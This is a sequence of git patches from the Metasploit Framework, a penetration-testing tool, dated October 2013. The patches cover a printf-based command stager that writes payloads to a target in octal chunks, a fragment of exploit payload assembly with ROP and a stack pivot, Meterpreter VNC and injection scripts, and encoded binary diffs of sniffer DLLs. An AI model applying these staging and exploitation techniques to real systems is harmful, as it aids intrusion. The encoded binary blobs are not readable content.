Metasploit3 < Msf::Exploit::Remote p << [t['Align']].pack("V*") * ( (0x2c-4)/4 ) # 0x2c bytes to pivot (-4 for TargetAddr) p << [t['Pivot']].pack("V*") # Stack pivot p << rand_text_alpha(4) # Padding for the add esp,0x2c alignment - p << rop # ROP chain - p << payload.encoded # Actual payload + p << generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'}) - return p + p end From 6f7d513f6edab482fee03a9a0efe4ccc9ce80926 Mon Sep 17 00:00:00 2001 From: Markus Wulftange <markus.wulftange@gmail.com> Date: Tue, 8 Oct 2013 07:22:09 +0200 Subject: [PATCH 54/68] Another clean up and simplification of CmdStagerPrintf --- lib/rex/exploitation/cmdstager/printf.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb index 0a61ed0117..dba24d0fbe 100755 --- a/lib/rex/exploitation/cmdstager/printf.rb +++ b/lib/rex/exploitation/cmdstager/printf.rb @@ -33,11 +33,11 @@ class CmdStagerPrintf < CmdStagerBase def generate_cmds(opts) @cmd_start = "printf '" @cmd_end = "'>>#{@tempdir}#{@var_elf}" - xtra_len = @cmd_start.length + @cmd_end.length + 1 + xtra_len = @cmd_start.length + @cmd_end.length opts.merge!({ :extra => xtra_len }) - if opts[:extra]+4 > opts[:linemax] - raise RuntimeError, "Not enough space for command - #{opts[:extra]+4} byte required, #{opts[:linemax]} byte available" + if (opts[:linemax] - opts[:extra]) < 4 + raise RuntimeError, "Not enough space for command - #{opts[:extra] + 4} byte required, #{opts[:linemax]} byte available" end super @@ -62,9 +62,9 @@ class CmdStagerPrintf < CmdStagerBase while (encoded_dup.length > 0) temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) - # remove the last octal escape if it may be imcomplete - pos = temp.rindex('\\') - if encoded_dup.length > temp.length and pos > temp.length-4 + # remove the last octal escape if it is imcomplete + if encoded_dup.length > temp.length and encoded_dup[temp.length] != '\\' + pos = temp.rindex('\\') temp.slice!(pos..temp.length-1) end From db92709d334d96f9f050e0de42d0bd303de6e722 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 8 Oct 2013 10:17:08 -0500 Subject: [PATCH 55/68] Remove extra bracket --- scripts/meterpreter/vnc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb index b0b47cadcb..bda180d16f 100644 --- a/scripts/meterpreter/vnc.rb +++ b/scripts/meterpreter/vnc.rb @@ -95,7 +95,7 @@ if (tunnel) pay.datastore['LPORT'] = rport pay.datastore['VNCPORT'] = vport else - print_status("Creating a VNC reverse tcp stager: LHOST=#{rhost} LPORT=#{rport})") + print_status("Creating a VNC reverse tcp stager: LHOST=#{rhost} LPORT=#{rport}") payload = "windows/vncinject/reverse_tcp" pay = client.framework.payloads.create(payload) From 7d0cf73af72e3d7eb834509e0e96225041ec28ed Mon Sep 17 00:00:00 2001 From: David Maloney <DMaloney@rapid7.com> Date: Tue, 8 Oct 2013 11:11:38 -0500 Subject: [PATCH 56/68] Fix multi-meter_inject error msg Was trying to coerce the exception class to string rather than calling .message Results in a stacktrace. FIXRM #8460 --- modules/post/windows/manage/multi_meterpreter_inject.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index 8ed4615e59..5becb6027a 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Post print_good("Successfully injected Meterpreter in to process: #{target_pid}") rescue::Exception => e print_error("Failed to Inject Payload to #{target_pid}!") - print_error(e) + print_error(e.message) end end From 72a35d14f156fe452bcf2da12ed567919c534b20 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Tue, 8 Oct 2013 11:49:42 -0500 Subject: [PATCH 57/68] Mark broken tests as pending These tests are broken a few different ways. [SeeRM #8463] also see: https://github.com/rapid7/metasploit-framework/pull/2477 --- spec/lib/msf/util/exe_spec.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/spec/lib/msf/util/exe_spec.rb b/spec/lib/msf/util/exe_spec.rb index 5c7a4f7038..ace44a1564 100644 --- a/spec/lib/msf/util/exe_spec.rb +++ b/spec/lib/msf/util/exe_spec.rb @@ -12,6 +12,8 @@ describe Msf::Util::EXE do described_class end + before { pending "Pending RM#8463, fix all these these tests up." } + $framework = Msf::Simple::Framework.create( :module_types => [ Msf::MODULE_NOP ], 'DisableDatabase' => true From 199bd20b95cd5ac76ca8e9f33446dc83010edab0 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 8 Oct 2013 13:00:03 -0500 Subject: [PATCH 58/68] Update CVE-2013-3893's Microsoft reference Official patch is out: http://technet.microsoft.com/en-us/security/bulletin/MS13-080 --- modules/exploits/windows/browser/ie_setmousecapture_uaf.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 520c8d0067..9c120cb883 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -49,6 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2013-3893' ], [ 'OSVDB', '97380' ], + [ 'MSB', 'MS13-080' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/30/metasploit-releases-cve-2013-3893-ie-setmousecapture-use-after-free' ] From e895a17722744a1076843c5a81509b1145f5749b Mon Sep 17 00:00:00 2001 From: Markus Wulftange <markus.wulftange@gmail.com> Date: Tue, 8 Oct 2013 21:04:28 +0200 Subject: [PATCH 59/68] Add 'no quotes' option for CmdStagerPrintf Exploit developers can use the ':noquotes => true' option to avoid single quotes surrounding the octal escapes argument. --- lib/rex/exploitation/cmdstager/printf.rb | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb index dba24d0fbe..f0bbe60275 100755 --- a/lib/rex/exploitation/cmdstager/printf.rb +++ b/lib/rex/exploitation/cmdstager/printf.rb @@ -31,13 +31,22 @@ class CmdStagerPrintf < CmdStagerBase # Override to set the extra byte count # def generate_cmds(opts) - @cmd_start = "printf '" - @cmd_end = "'>>#{@tempdir}#{@var_elf}" + if opts[:noquotes] + @cmd_start = "printf " + @cmd_end = ">>#{@tempdir}#{@var_elf}" + @prefix = '\\\\' + min_part_size = 5 + else + @cmd_start = "printf '" + @cmd_end = "'>>#{@tempdir}#{@var_elf}" + @prefix = '\\' + min_part_size = 4 + end xtra_len = @cmd_start.length + @cmd_end.length opts.merge!({ :extra => xtra_len }) - if (opts[:linemax] - opts[:extra]) < 4 - raise RuntimeError, "Not enough space for command - #{opts[:extra] + 4} byte required, #{opts[:linemax]} byte available" + if (opts[:linemax] - opts[:extra]) < min_part_size + raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available" end super @@ -47,7 +56,7 @@ class CmdStagerPrintf < CmdStagerBase # Encode into a "\12\345" octal format that printf understands # def encode_payload(opts) - return Rex::Text.to_octal(@exe, "\\") + return Rex::Text.to_octal(@exe, @prefix) end # @@ -63,8 +72,9 @@ class CmdStagerPrintf < CmdStagerBase temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) # remove the last octal escape if it is imcomplete - if encoded_dup.length > temp.length and encoded_dup[temp.length] != '\\' + if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix pos = temp.rindex('\\') + pos -= 1 if temp[pos-1] == '\\' temp.slice!(pos..temp.length-1) end From 0a194b203d67221c6cf5aefd990d57d432a3215e Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Wed, 9 Oct 2013 07:38:54 +1000 Subject: [PATCH 60/68] Updated sniffer binaries These updated binaries include a packet-sniffer fix which results in sniffing working on x86 builds of Windows 8 and Windows 8.1. --- data/meterpreter/ext_server_sniffer.x64.dll | Bin 432128 -> 432640 bytes data/meterpreter/ext_server_sniffer.x86.dll | Bin 432128 -> 432128 bytes 2 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll index 87f05c0df6d9bfd7c0122083e77167c5951746d0..498e6649e03013764984673de6c2716d70b2f99b 100755 GIT binary patch delta 49522 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 